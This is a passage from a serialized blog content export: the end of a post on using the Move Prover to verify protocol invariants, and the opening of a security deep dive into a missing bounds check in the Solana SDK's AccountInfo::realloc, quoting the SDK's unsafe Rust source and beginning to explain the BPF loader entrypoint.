"class":155,"line":762},[16236,16240,16244,16248,16252],{"type":21,"tag":153,"props":16237,"children":16238},{"style":192},[16239],{"type":26,"value":10913},{"type":21,"tag":153,"props":16241,"children":16242},{"style":192},[16243],{"type":26,"value":10944},{"type":21,"tag":153,"props":16245,"children":16246},{"style":198},[16247],{"type":26,"value":10923},{"type":21,"tag":153,"props":16249,"children":16250},{"style":192},[16251],{"type":26,"value":10953},{"type":21,"tag":153,"props":16253,"children":16254},{"style":160},[16255],{"type":26,"value":1759},{"type":21,"tag":153,"props":16257,"children":16258},{"class":155,"line":776},[16259],{"type":21,"tag":153,"props":16260,"children":16261},{"style":160},[16262],{"type":26,"value":8601},{"type":21,"tag":22,"props":16264,"children":16265},{},[16266],{"type":26,"value":16267},"Some other ideas include",{"type":21,"tag":126,"props":16269,"children":16270},{},[16271,16276,16281],{"type":21,"tag":91,"props":16272,"children":16273},{},[16274],{"type":26,"value":16275},"Swapping through an AMM should never lead to a decrease in one side of the pool without also increasing the other side. In other words, no free money",{"type":21,"tag":91,"props":16277,"children":16278},{},[16279],{"type":26,"value":16280},"Lending protocols should always be fully collateralized after a series of deposit, borrow, and withdraw instructions.",{"type":21,"tag":91,"props":16282,"children":16283},{},[16284],{"type":26,"value":16285},"Orderbooks should never lose money after an order is placed and then canceled.",{"type":21,"tag":66,"props":16287,"children":16288},{"id":8040},[16289],{"type":26,"value":8043},{"type":21,"tag":22,"props":16291,"children":16292},{},[16293],{"type":26,"value":16294},"In this post, we've explored how to properly utilize the Move Prover to verify critical invariants about your codebase.",{"type":21,"tag":22,"props":16296,"children":16297},{},[16298],{"type":26,"value":16299},"In our upcoming posts, we will explore how to turn the Move Prover into a weapon for squashing security vulnerabilities by learning how to ask the right questions, so stay tuned!",{"type":21,"tag":22,"props":16301,"children":16302},{},[16303,16305,16310],{"type":26,"value":16304},"We're passionate about formal verification and pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":21,"tag":29,"props":16306,"children":16308},{"href":11963,"rel":16307},[33],[16309],{"type":26,"value":11967},{"type":26,"value":355},{"type":21,"tag":5603,"props":16312,"children":16313},{},[16314],{"type":26,"value":5607},{"title":7,"searchDepth":166,"depth":166,"links":16316},[16317,16318,16321,16328],{"id":12027,"depth":166,"text":12030},{"id":12081,"depth":166,"text":12084,"children":16319},[16320],{"id":12332,"depth":225,"text":12328},{"id":15227,"depth":166,"text":15230,"children":16322},[16323,16324,16325,16326,16327],{"id":15243,"depth":225,"text":15246},{"id":15493,"depth":225,"text":15496},{"id":15798,"depth":225,"text":15801},{"id":15835,"depth":225,"text":15838},{"id":15997,"depth":225,"text":16000},{"id":8040,"depth":166,"text":8043},"content:blog:2022-09-16-move-prover.md","blog/2022-09-16-move-prover.md","blog/2022-09-16-move-prover",{"_path":16333,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":16334,"description":16335,"author":16336,"image":16337,"date":16341,"isFeatured":16,"onBlogPage":16,"tags":16342,"body":16343,"_type":5619,"_id":21440,"_source":5621,"_file":21441,"_stem":21442,"_extension":5624},"/blog/2022-12-09-rust-realloc-and-references","Rust, Realloc, and References","Rust is safe.. right? Not if your dependencies are unsafe.. A deep dive into a subtle Solana SDK bug, Rust internals, and how we found it all.","ethan",{"src":16338,"height":16339,"width":16340},"/posts/rust-realloc-and-references/title.jpg",512,1024,"2022-12-09",[5637,11991],{"type":18,"children":16344,"toc":21424},[16345,16372,16392,17051,17071,17082,17094,17227,17237,17243,17269,17607,17651,17976,18039,18052,18123,18191,18212,18225,18239,18587,18598,18603,18734,18785,18811,18823,18996,19132,19173,19210,19276,19281,19319,19373,19384,19527,19539,19545,19551,19584,19598,19720,19739,19767,19773,19863,19953,19959,19964,20010,20278,20353,20364,20391,20723,20735,20808,21081,21118,21420],{"type":21,"tag":22,"props":16346,"children":16347},{},[16348,16350,16356,16358,16363,16365,16370],{"type":26,"value":16349},"It all started with an audit of a program that used ",{"type":21,"tag":78,"props":16351,"children":16353},{"className":16352},[],[16354],{"type":26,"value":16355},"realloc",{"type":26,"value":16357}," on an account, without any bounds checks on the new size allowed. It seemed like the developers assumed that if the new size was too large, the ",{"type":21,"tag":78,"props":16359,"children":16361},{"className":16360},[],[16362],{"type":26,"value":16355},{"type":26,"value":16364}," call (from ",{"type":21,"tag":78,"props":16366,"children":16368},{"className":16367},[],[16369],{"type":26,"value":3817},{"type":26,"value":16371},") would error out appropriately.",{"type":21,"tag":22,"props":16373,"children":16374},{},[16375,16377,16383,16384,16391],{"type":26,"value":16376},"But we're not ones to just assume things around here, so let's take a look at how ",{"type":21,"tag":78,"props":16378,"children":16380},{"className":16379},[],[16381],{"type":26,"value":16382},"AccountInfo::realloc",{"type":26,"value":8232},{"type":21,"tag":29,"props":16385,"children":16388},{"href":16386,"rel":16387},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#124-148",[33],[16389],{"type":26,"value":16390},"implemented",{"type":26,"value":201},{"type":21,"tag":143,"props":16393,"children":16395},{"className":145,"code":16394,"language":147,"meta":7,"style":7},"pub fn realloc(&self, new_len: usize, zero_init: bool) -> Result\u003C(), ProgramError> {\n    let orig_len = self.data_len();\n\n    // realloc\n    unsafe {\n        // First set new length in the serialized data\n        let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n        *ptr = new_len as u64;\n\n        // Then set the new length in the local slice\n        let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n        *ptr = new_len as u64;\n    }\n\n    // zero-init if requested\n    if zero_init && new_len > orig_len {\n        sol_memset(\n            &mut self.try_borrow_mut_data()?[orig_len..],\n            0,\n            new_len.saturating_sub(orig_len),\n        );\n    }\n\n    Ok(())\n}\n",[16396],{"type":21,"tag":78,"props":16397,"children":16398},{"__ignoreMap":7},[16399,16490,16524,16531,16539,16550,16558,16647,16680,16687,16695,16824,16855,16862,16869,16877,16911,16923,16971,16983,17012,17019,17026,17033,17044],{"type":21,"tag":153,"props":16400,"children":16401},{"class":155,"line":156},[16402,16406,16410,16415,16419,16423,16428,16432,16437,16441,16446,16450,16455,16459,16463,16467,16471,16476,16481,16486],{"type":21,"tag":153,"props":16403,"children":16404},{"style":170},[16405],{"type":26,"value":173},{"type":21,"tag":153,"props":16407,"children":16408},{"style":170},[16409],{"type":26,"value":178},{"type":21,"tag":153,"props":16411,"children":16412},{"style":181},[16413],{"type":26,"value":16414}," realloc",{"type":21,"tag":153,"props":16416,"children":16417},{"style":160},[16418],{"type":26,"value":189},{"type":21,"tag":153,"props":16420,"children":16421},{"style":198},[16422],{"type":26,"value":1974},{"type":21,"tag":153,"props":16424,"children":16425},{"style":170},[16426],{"type":26,"value":16427},"self",{"type":21,"tag":153,"props":16429,"children":16430},{"style":160},[16431],{"type":26,"value":1670},{"type":21,"tag":153,"props":16433,"children":16434},{"style":192},[16435],{"type":26,"value":16436},"new_len",{"type":21,"tag":153,"props":16438,"children":16439},{"style":198},[16440],{"type":26,"value":201},{"type":21,"tag":153,"props":16442,"children":16443},{"style":214},[16444],{"type":26,"value":16445}," usize",{"type":21,"tag":153,"props":16447,"children":16448},{"style":160},[16449],{"type":26,"value":1670},{"type":21,"tag":153,"props":16451,"children":16452},{"style":192},[16453],{"type":26,"value":16454},"zero_init",{"type":21,"tag":153,"props":16456,"children":16457},{"style":198},[16458],{"type":26,"value":201},{"type":21,"tag":153,"props":16460,"children":16461},{"style":214},[16462],{"type":26,"value":14769},{"type":21,"tag":153,"props":16464,"children":16465},{"style":160},[16466],{"type":26,"value":2362},{"type":21,"tag":153,"props":16468,"children":16469},{"style":198},[16470],{"type":26,"value":2953},{"type":21,"tag":153,"props":16472,"children":16473},{"style":214},[16474],{"type":26,"value":16475}," Result",{"type":21,"tag":153,"props":16477,"children":16478},{"style":160},[16479],{"type":26,"value":16480},"\u003C(), ",{"type":21,"tag":153,"props":16482,"children":16483},{"style":214},[16484],{"type":26,"value":16485},"ProgramError",{"type":21,"tag":153,"props":16487,"children":16488},{"style":160},[16489],{"type":26,"value":10009},{"type":21,"tag":153,"props":16491,"children":16492},{"class":155,"line":166},[16493,16497,16502,16506,16511,16515,16520],{"type":21,"tag":153,"props":16494,"children":16495},{"style":170},[16496],{"type":26,"value":629},{"type":21,"tag":153,"props":16498,"children":16499},{"style":192},[16500],{"type":26,"value":16501}," orig_len",{"type":21,"tag":153,"props":16503,"children":16504},{"style":198},[16505],{"type":26,"value":255},{"type":21,"tag":153,"props":16507,"children":16508},{"style":170},[16509],{"type":26,"value":16510}," self",{"type":21,"tag":153,"props":16512,"children":16513},{"style":198},[16514],{"type":26,"value":355},{"type":21,"tag":153,"props":16516,"children":16517},{"style":181},[16518],{"type":26,"value":16519},"data_len",{"type":21,"tag":153,"props":16521,"children":16522},{"style":160},[16523],{"type":26,"value":839},{"type":21,"tag":153,"props":16525,"children":16526},{"class":155,"line":225},[16527],{"type":21,"tag":153,"props":16528,"children":16529},{"emptyLinePlaceholder":16},[16530],{"type":26,"value":759},{"type":21,"tag":153,"props":16532,"children":16533},{"class":155,"line":239},[16534],{"type":21,"tag":153,"props":16535,"children":16536},{"style":3050},[16537],{"type":26,"value":16538},"    // realloc\n",{"type":21,"tag":153,"props":16540,"children":16541},{"class":155,"line":382},[16542,16546],{"type":21,"tag":153,"props":16543,"children":16544},{"style":170},[16545],{"type":26,"value":231},{"type":21,"tag":153,"props":16547,"children":16548},{"style":160},[16549],{"type":26,"value":236},{"type":21,"tag":153,"props":16551,"children":16552},{"class":155,"line":501},[16553],{"type":21,"tag":153,"props":16554,"children":16555},{"style":3050},[16556],{"type":26,"value":16557},"        // First set new length in the serialized data\n",{"type":21,"tag":153,"props":16559,"children":16560},{"class":155,"line":533},[16561,16565,16569,16573,16577,16581,16585,16589,16593,16598,16602,16606,16611,16615,16619,16623,16627,16631,16635,16639,16643],{"type":21,"tag":153,"props":16562,"children":16563},{"style":170},[16564],{"type":26,"value":245},{"type":21,"tag":153,"props":16566,"children":16567},{"style":192},[16568],{"type":26,"value":250},{"type":21,"tag":153,"props":16570,"children":16571},{"style":198},[16572],{"type":26,"value":255},{"type":21,"tag":153,"props":16574,"children":16575},{"style":170},[16576],{"type":26,"value":16510},{"type":21,"tag":153,"props":16578,"children":16579},{"style":198},[16580],{"type":26,"value":355},{"type":21,"tag":153,"props":16582,"children":16583},{"style":181},[16584],{"type":26,"value":3541},{"type":21,"tag":153,"props":16586,"children":16587},{"style":160},[16588],{"type":26,"value":365},{"type":21,"tag":153,"props":16590,"children":16591},{"style":198},[16592],{"type":26,"value":5882},{"type":21,"tag":153,"props":16594,"children":16595},{"style":181},[16596],{"type":26,"value":16597},"as_mut_ptr",{"type":21,"tag":153,"props":16599,"children":16600},{"style":160},[16601],{"type":26,"value":365},{"type":21,"tag":153,"props":16603,"children":16604},{"style":198},[16605],{"type":26,"value":355},{"type":21,"tag":153,"props":16607,"children":16608},{"style":181},[16609],{"type":26,"value":16610},"offset",{"type":21,"tag":153,"props":16612,"children":16613},{"style":160},[16614],{"type":26,"value":189},{"type":21,"tag":153,"props":16616,"children":16617},{"style":198},[16618],{"type":26,"value":3873},{"type":21,"tag":153,"props":16620,"children":16621},{"style":300},[16622],{"type":26,"value":303},{"type":21,"tag":153,"props":16624,"children":16625},{"style":160},[16626],{"type":26,"value":2362},{"type":21,"tag":153,"props":16628,"children":16629},{"style":170},[16630],{"type":26,"value":11567},{"type":21,"tag":153,"props":16632,"children":16633},{"style":198},[16634],{"type":26,"value":5080},{"type":21,"tag":153,"props":16636,"children":16637},{"style":170},[16638],{"type":26,"value":318},{"type":21,"tag":153,"props":16640,"children":16641},{"style":214},[16642],{"type":26,"value":323},{"type":21,"tag":153,"props":16644,"children":16645},{"style":160},[16646],{"type":26,"value":1759},{"type":21,"tag":153,"props":16648,"children":16649},{"class":155,"line":542},[16650,16654,16659,16663,16668,16672,16676],{"type":21,"tag":153,"props":16651,"children":16652},{"style":198},[16653],{"type":26,"value":10478},{"type":21,"tag":153,"props":16655,"children":16656},{"style":192},[16657],{"type":26,"value":16658},"ptr",{"type":21,"tag":153,"props":16660,"children":16661},{"style":198},[16662],{"type":26,"value":255},{"type":21,"tag":153,"props":16664,"children":16665},{"style":192},[16666],{"type":26,"value":16667}," new_len",{"type":21,"tag":153,"props":16669,"children":16670},{"style":170},[16671],{"type":26,"value":11553},{"type":21,"tag":153,"props":16673,"children":16674},{"style":214},[16675],{"type":26,"value":323},{"type":21,"tag":153,"props":16677,"children":16678},{"style":160},[16679],{"type":26,"value":1759},{"type":21,"tag":153,"props":16681,"children":16682},{"class":155,"line":762},[16683],{"type":21,"tag":153,"props":16684,"children":16685},{"emptyLinePlaceholder":16},[16686],{"type":26,"value":759},{"type":21,"tag":153,"props":16688,"children":16689},{"class":155,"line":776},[16690],{"type":21,"tag":153,"props":16691,"children":16692},{"style":3050},[16693],{"type":26,"value":16694},"        // Then set the new length in the local slice\n",{"type":21,"tag":153,"props":16696,"children":16697},{"class":155,"line":795},[16698,16702,16706,16710,16714,16718,16722,16727,16731,16735,16739,16743,16748,16752,16756,16760,16764,16768,16772,16776,16780,16784,16788,16792,16796,16800,16804,16808,16812,16816,16820],{"type":21,"tag":153,"props":16699,"children":16700},{"style":170},[16701],{"type":26,"value":245},{"type":21,"tag":153,"props":16703,"children":16704},{"style":192},[16705],{"type":26,"value":250},{"type":21,"tag":153,"props":16707,"children":16708},{"style":198},[16709],{"type":26,"value":255},{"type":21,"tag":153,"props":16711,"children":16712},{"style":198},[16713],{"type":26,"value":206},{"type":21,"tag":153,"props":16715,"children":16716},{"style":170},[16717],{"type":26,"value":318},{"type":21,"tag":153,"props":16719,"children":16720},{"style":198},[16721],{"type":26,"value":5080},{"type":21,"tag":153,"props":16723,"children":16724},{"style":160},[16725],{"type":26,"value":16726},"(((",{"type":21,"tag":153,"props":16728,"children":16729},{"style":170},[16730],{"type":26,"value":16427},{"type":21,"tag":153,"props":16732,"children":16733},{"style":198},[16734],{"type":26,"value":355},{"type":21,"tag":153,"props":16736,"children":16737},{"style":160},[16738],{"type":26,"value":195},{"type":21,"tag":153,"props":16740,"children":16741},{"style":198},[16742],{"type":26,"value":355},{"type":21,"tag":153,"props":16744,"children":16745},{"style":181},[16746],{"type":26,"value":16747},"as_ptr",{"type":21,"tag":153,"props":16749,"children":16750},{"style":160},[16751],{"type":26,"value":2461},{"type":21,"tag":153,"props":16753,"children":16754},{"style":170},[16755],{"type":26,"value":11567},{"type":21,"tag":153,"props":16757,"children":16758},{"style":198},[16759],{"type":26,"value":5080},{"type":21,"tag":153,"props":16761,"children":16762},{"style":170},[16763],{"type":26,"value":5085},{"type":21,"tag":153,"props":16765,"children":16766},{"style":214},[16767],{"type":26,"value":323},{"type":21,"tag":153,"props":16769,"children":16770},{"style":160},[16771],{"type":26,"value":2071},{"type":21,"tag":153,"props":16773,"children":16774},{"style":198},[16775],{"type":26,"value":355},{"type":21,"tag":153,"props":16777,"children":16778},{"style":181},[16779],{"type":26,"value":16610},{"type":21,"tag":153,"props":16781,"children":16782},{"style":160},[16783],{"type":26,"value":189},{"type":21,"tag":153,"props":16785,"children":16786},{"style":300},[16787],{"type":26,"value":3033},{"type":21,"tag":153,"props":16789,"children":16790},{"style":160},[16791],{"type":26,"value":2362},{"type":21,"tag":153,"props":16793,"children":16794},{"style":170},[16795],{"type":26,"value":11567},{"type":21,"tag":153,"props":16797,"children":16798},{"style":214},[16799],{"type":26,"value":323},{"type":21,"tag":153,"props":16801,"children":16802},{"style":160},[16803],{"type":26,"value":2362},{"type":21,"tag":153,"props":16805,"children":16806},{"style":170},[16807],{"type":26,"value":11567},{"type":21,"tag":153,"props":16809,"children":16810},{"style":198},[16811],{"type":26,"value":5080},{"type":21,"tag":153,"props":16813,"children":16814},{"style":170},[16815],{"type":26,"value":318},{"type":21,"tag":153,"props":16817,"children":16818},{"style":214},[16819],{"type":26,"value":323},{"type":21,"tag":153,"props":16821,"children":16822},{"style":160},[16823],{"type":26,"value":530},{"type":21,"tag":153,"props":16825,"children":16826},{"class":155,"line":808},[16827,16831,16835,16839,16843,16847,16851],{"type":21,"tag":153,"props":16828,"children":16829},{"style":198},[16830],{"type":26,"value":10478},{"type":21,"tag":153,"props":16832,"children":16833},{"style":192},[16834],{"type":26,"value":16658},{"type":21,"tag":153,"props":16836,"children":16837},{"style":198},[16838],{"type":26,"value":255},{"type":21,"tag":153,"props":16840,"children":16841},{"style":192},[16842],{"type":26,"value":16667},{"type":21,"tag":153,"props":16844,"children":16845},{"style":170},[16846],{"type":26,"value":11553},{"type":21,"tag":153,"props":16848,"children":16849},{"style":214},[16850],{"type":26,"value":323},{"type":21,"tag":153,"props":16852,"children":16853},{"style":160},[16854],{"type":26,"value":1759},{"type":21,"tag":153,"props":16856,"children":16857},{"class":155,"line":820},[16858],{"type":21,"tag":153,"props":16859,"children":16860},{"style":160},[16861],{"type":26,"value":539},{"type":21,"tag":153,"props":16863,"children":16864},{"class":155,"line":842},[16865],{"type":21,"tag":153,"props":16866,"children":16867},{"emptyLinePlaceholder":16},[16868],{"type":26,"value":759},{"type":21,"tag":153,"props":16870,"children":16871},{"class":155,"line":3204},[16872],{"type":21,"tag":153,"props":16873,"children":16874},{"style":3050},[16875],{"type":26,"value":16876},"    // zero-init if requested\n",{"type":21,"tag":153,"props":16878,"children":16879},{"class":155,"line":3230},[16880,16884,16889,16894,16898,16903,16907],{"type":21,"tag":153,"props":16881,"children":16882},{"style":1751},[16883],{"type":26,"value":2434},{"type":21,"tag":153,"props":16885,"children":16886},{"style":192},[16887],{"type":26,"value":16888}," zero_init",{"type":21,"tag":153,"props":16890,"children":16891},{"style":198},[16892],{"type":26,"value":16893}," &&",{"type":21,"tag":153,"props":16895,"children":16896},{"style":192},[16897],{"type":26,"value":16667},{"type":21,"tag":153,"props":16899,"children":16900},{"style":198},[16901],{"type":26,"value":16902}," >",{"type":21,"tag":153,"props":16904,"children":16905},{"style":192},[16906],{"type":26,"value":16501},{"type":21,"tag":153,"props":16908,"children":16909},{"style":160},[16910],{"type":26,"value":236},{"type":21,"tag":153,"props":16912,"children":16913},{"class":155,"line":3239},[16914,16919],{"type":21,"tag":153,"props":16915,"children":16916},{"style":181},[16917],{"type":26,"value":16918},"        sol_memset",{"type":21,"tag":153,"props":16920,"children":16921},{"style":160},[16922],{"type":26,"value":773},{"type":21,"tag":153,"props":16924,"children":16925},{"class":155,"line":3253},[16926,16930,16934,16938,16942,16946,16950,16954,16958,16963,16967],{"type":21,"tag":153,"props":16927,"children":16928},{"style":198},[16929],{"type":26,"value":10411},{"type":21,"tag":153,"props":16931,"children":16932},{"style":170},[16933],{"type":26,"value":318},{"type":21,"tag":153,"props":16935,"children":16936},{"style":170},[16937],{"type":26,"value":16510},{"type":21,"tag":153,"props":16939,"children":16940},{"style":198},[16941],{"type":26,"value":355},{"type":21,"tag":153,"props":16943,"children":16944},{"style":181},[16945],{"type":26,"value":3541},{"type":21,"tag":153,"props":16947,"children":16948},{"style":160},[16949],{"type":26,"value":365},{"type":21,"tag":153,"props":16951,"children":16952},{"style":198},[16953],{"type":26,"value":2022},{"type":21,"tag":153,"props":16955,"children":16956},{"style":160},[16957],{"type":26,"value":211},{"type":21,"tag":153,"props":16959,"children":16960},{"style":192},[16961],{"type":26,"value":16962},"orig_len",{"type":21,"tag":153,"props":16964,"children":16965},{"style":198},[16966],{"type":26,"value":341},{"type":21,"tag":153,"props":16968,"children":16969},{"style":160},[16970],{"type":26,"value":2912},{"type":21,"tag":153,"props":16972,"children":16973},{"class":155,"line":3301},[16974,16979],{"type":21,"tag":153,"props":16975,"children":16976},{"style":300},[16977],{"type":26,"value":16978},"            0",{"type":21,"tag":153,"props":16980,"children":16981},{"style":160},[16982],{"type":26,"value":792},{"type":21,"tag":153,"props":16984,"children":16985},{"class":155,"line":3346},[16986,16991,16995,17000,17004,17008],{"type":21,"tag":153,"props":16987,"children":16988},{"style":192},[16989],{"type":26,"value":16990},"            new_len",{"type":21,"tag":153,"props":16992,"children":16993},{"style":198},[16994],{"type":26,"value":355},{"type":21,"tag":153,"props":16996,"children":16997},{"style":181},[16998],{"type":26,"value":16999},"saturating_sub",{"type":21,"tag":153,"props":17001,"children":17002},{"style":160},[17003],{"type":26,"value":189},{"type":21,"tag":153,"props":17005,"children":17006},{"style":192},[17007],{"type":26,"value":16962},{"type":21,"tag":153,"props":17009,"children":17010},{"style":160},[17011],{"type":26,"value":679},{"type":21,"tag":153,"props":17013,"children":17014},{"class":155,"line":3355},[17015],{"type":21,"tag":153,"props":17016,"children":17017},{"style":160},[17018],{"type":26,"value":10470},{"type":21,"tag":153,"props":17020,"children":17021},{"class":155,"line":3364},[17022],{"type":21,"tag":153,"props":17023,"children":17024},{"style":160},[17025],{"type":26,"value":539},{"type":21,"tag":153,"props":17027,"children":17028},{"class":155,"line":3376},[17029],{"type":21,"tag":153,"props":17030,"children":17031},{"emptyLinePlaceholder":16},[17032],{"type":26,"value":759},{"type":21,"tag":153,"props":17034,"children":17035},{"class":155,"line":3393},[17036,17040],{"type":21,"tag":153,"props":17037,"children":17038},{"style":214},[17039],{"type":26,"value":3621},{"type":21,"tag":153,"props":17041,"children":17042},{"style":160},[17043],{"type":26,"value":3626},{"type":21,"tag":153,"props":17045,"children":17046},{"class":155,"line":3405},[17047],{"type":21,"tag":153,"props":17048,"children":17049},{"style":160},[17050],{"type":26,"value":548},{"type":21,"tag":22,"props":17052,"children":17053},{},[17054,17056,17062,17064,17069],{"type":26,"value":17055},"Oh. There's ",{"type":21,"tag":78,"props":17057,"children":17059},{"className":17058},[],[17060],{"type":26,"value":17061},"unsafe",{"type":26,"value":17063},". And no bounds check in sight. ",{"type":21,"tag":5302,"props":17065,"children":17066},{},[17067],{"type":26,"value":17068},"And",{"type":26,"value":17070}," pointer math. That doesn't look promising...",{"type":21,"tag":66,"props":17072,"children":17074},{"id":17073},"breaking-down-realloc",[17075,17077],{"type":26,"value":17076},"Breaking down ",{"type":21,"tag":78,"props":17078,"children":17080},{"className":17079},[],[17081],{"type":26,"value":16355},{"type":21,"tag":22,"props":17083,"children":17084},{},[17085,17087,17092],{"type":26,"value":17086},"Let's pick apart this ",{"type":21,"tag":78,"props":17088,"children":17090},{"className":17089},[],[17091],{"type":26,"value":17061},{"type":26,"value":17093}," block, since there's a lot going on here.",{"type":21,"tag":143,"props":17095,"children":17097},{"className":145,"code":17096,"language":147,"meta":7,"style":7},"// First set new length in the serialized data\nlet ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n*ptr = new_len as u64;\n",[17098],{"type":21,"tag":78,"props":17099,"children":17100},{"__ignoreMap":7},[17101,17109,17196],{"type":21,"tag":153,"props":17102,"children":17103},{"class":155,"line":156},[17104],{"type":21,"tag":153,"props":17105,"children":17106},{"style":3050},[17107],{"type":26,"value":17108},"// First set new length in the serialized data\n",{"type":21,"tag":153,"props":17110,"children":17111},{"class":155,"line":166},[17112,17116,17120,17124,17128,17132,17136,17140,17144,17148,17152,17156,17160,17164,17168,17172,17176,17180,17184,17188,17192],{"type":21,"tag":153,"props":17113,"children":17114},{"style":170},[17115],{"type":26,"value":1555},{"type":21,"tag":153,"props":17117,"children":17118},{"style":192},[17119],{"type":26,"value":250},{"type":21,"tag":153,"props":17121,"children":17122},{"style":198},[17123],{"type":26,"value":255},{"type":21,"tag":153,"props":17125,"children":17126},{"style":170},[17127],{"type":26,"value":16510},{"type":21,"tag":153,"props":17129,"children":17130},{"style":198},[17131],{"type":26,"value":355},{"type":21,"tag":153,"props":17133,"children":17134},{"style":181},[17135],{"type":26,"value":3541},{"type":21,"tag":153,"props":17137,"children":17138},{"style":160},[17139],{"type":26,"value":365},{"type":21,"tag":153,"props":17141,"children":17142},{"style":198},[17143],{"type":26,"value":5882},{"type":21,"tag":153,"props":17145,"children":17146},{"style":181},[17147],{"type":26,"value":16597},{"type":21,"tag":153,"props":17149,"children":17150},{"style":160},[17151],{"type":26,"value":365},{"type":21,"tag":153,"props":17153,"children":17154},{"style":198},[17155],{"type":26,"value":355},{"type":21,"tag":153,"props":17157,"children":17158},{"style":181},[17159],{"type":26,"value":16610},{"type":21,"tag":153,"props":17161,"children":17162},{"style":160},[17163],{"type":26,"value":189},{"type":21,"tag":153,"props":17165,"children":17166},{"style":198},[17167],{"type":26,"value":3873},{"type":21,"tag":153,"props":17169,"children":17170},{"style":300},[17171],{"type":26,"value":303},{"type":21,"tag":153,"props":17173,"children":17174},{"style":160},[17175],{"type":26,"value":2362},{"type":21,"tag":153,"props":17177,"children":17178},{"style":170},[17179],{"type":26,"value":11567},{"type":21,"tag":153,"props":17181,"children":17182},{"style":198},[17183],{"type":26,"value":5080},{"type":21,"tag":153,"props":17185,"children":17186},{"style":170},[17187],{"type":26,"value":318},{"type":21,"tag":153,"props":17189,"children":17190},{"style":214},[17191],{"type":26,"value":323},{"type":21,"tag":153,"props":17193,"children":17194},{"style":160},[17195],{"type":26,"value":1759},{"type":21,"tag":153,"props":17197,"children":17198},{"class":155,"line":225},[17199,17203,17207,17211,17215,17219,17223],{"type":21,"tag":153,"props":17200,"children":17201},{"style":198},[17202],{"type":26,"value":313},{"type":21,"tag":153,"props":17204,"children":17205},{"style":192},[17206],{"type":26,"value":16658},{"type":21,"tag":153,"props":17208,"children":17209},{"style":198},[17210],{"type":26,"value":255},{"type":21,"tag":153,"props":17212,"children":17213},{"style":192},[17214],{"type":26,"value":16667},{"type":21,"tag":153,"props":17216,"children":17217},{"style":170},[17218],{"type":26,"value":11553},{"type":21,"tag":153,"props":17220,"children":17221},{"style":214},[17222],{"type":26,"value":323},{"type":21,"tag":153,"props":17224,"children":17225},{"style":160},[17226],{"type":26,"value":1759},{"type":21,"tag":22,"props":17228,"children":17229},{},[17230,17235],{"type":21,"tag":78,"props":17231,"children":17233},{"className":17232},[],[17234],{"type":26,"value":3541},{"type":26,"value":17236}," returns a mutable reference to the underlying buffer holding the data of the account. Normally in the course of contract execution, this comes from the serialized buffer passed into the contract by the BPF loader. So before we can understand the details here, let's take a quick detour...",{"type":21,"tag":114,"props":17238,"children":17240},{"id":17239},"bpf-loader-abi",[17241],{"type":26,"value":17242},"BPF Loader ABI",{"type":21,"tag":22,"props":17244,"children":17245},{},[17246,17248,17253,17255,17268],{"type":26,"value":17247},"Solana smart contracts have one job: interact with on-chain accounts. So what's the interface between the contract and the rest of the chain? To answer that, we're going to take a look at ",{"type":21,"tag":78,"props":17249,"children":17251},{"className":17250},[],[17252],{"type":26,"value":3817},{"type":26,"value":17254},"'s entrypoint code - the code that's added when you use the ",{"type":21,"tag":29,"props":17256,"children":17259},{"href":17257,"rel":17258},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#116-131",[33],[17260,17266],{"type":21,"tag":78,"props":17261,"children":17263},{"className":17262},[],[17264],{"type":26,"value":17265},"entrypoint!",{"type":26,"value":17267}," macro",{"type":26,"value":201},{"type":21,"tag":143,"props":17270,"children":17272},{"className":145,"code":17271,"language":147,"meta":7,"style":7},"#[no_mangle]\npub unsafe extern \"C\" fn entrypoint(input: *mut u8) -> u64 {\n    let (program_id, accounts, instruction_data) =\n        unsafe { $crate::entrypoint::deserialize(input) };\n    match $process_instruction(&program_id, &accounts, &instruction_data) {\n        Ok(()) => $crate::entrypoint::SUCCESS,\n        Err(error) => error.into(),\n    }\n}\n",[17273],{"type":21,"tag":78,"props":17274,"children":17275},{"__ignoreMap":7},[17276,17284,17355,17397,17449,17507,17550,17593,17600],{"type":21,"tag":153,"props":17277,"children":17278},{"class":155,"line":156},[17279],{"type":21,"tag":153,"props":17280,"children":17281},{"style":160},[17282],{"type":26,"value":17283},"#[no_mangle]\n",{"type":21,"tag":153,"props":17285,"children":17286},{"class":155,"line":166},[17287,17291,17296,17301,17306,17310,17315,17319,17323,17327,17331,17335,17339,17343,17347,17351],{"type":21,"tag":153,"props":17288,"children":17289},{"style":170},[17290],{"type":26,"value":173},{"type":21,"tag":153,"props":17292,"children":17293},{"style":170},[17294],{"type":26,"value":17295}," unsafe",{"type":21,"tag":153,"props":17297,"children":17298},{"style":170},[17299],{"type":26,"value":17300}," extern",{"type":21,"tag":153,"props":17302,"children":17303},{"style":671},[17304],{"type":26,"value":17305}," \"C\"",{"type":21,"tag":153,"props":17307,"children":17308},{"style":170},[17309],{"type":26,"value":178},{"type":21,"tag":153,"props":17311,"children":17312},{"style":181},[17313],{"type":26,"value":17314}," entrypoint",{"type":21,"tag":153,"props":17316,"children":17317},{"style":160},[17318],{"type":26,"value":189},{"type":21,"tag":153,"props":17320,"children":17321},{"style":192},[17322],{"type":26,"value":11093},{"type":21,"tag":153,"props":17324,"children":17325},{"style":198},[17326],{"type":26,"value":201},{"type":21,"tag":153,"props":17328,"children":17329},{"style":198},[17330],{"type":26,"value":5080},{"type":21,"tag":153,"props":17332,"children":17333},{"style":170},[17334],{"type":26,"value":318},{"type":21,"tag":153,"props":17336,"children":17337},{"style":214},[17338],{"type":26,"value":5090},{"type":21,"tag":153,"props":17340,"children":17341},{"style":160},[17342],{"type":26,"value":2362},{"type":21,"tag":153,"props":17344,"children":17345},{"style":198},[17346],{"type":26,"value":2953},{"type":21,"tag":153,"props":17348,"children":17349},{"style":214},[17350],{"type":26,"value":323},{"type":21,"tag":153,"props":17352,"children":17353},{"style":160},[17354],{"type":26,"value":236},{"type":21,"tag":153,"props":17356,"children":17357},{"class":155,"line":225},[17358,17362,17366,17371,17375,17379,17383,17388,17392],{"type":21,"tag":153,"props":17359,"children":17360},{"style":170},[17361],{"type":26,"value":629},{"type":21,"tag":153,"props":17363,"children":17364},{"style":160},[17365],{"type":26,"value":5820},{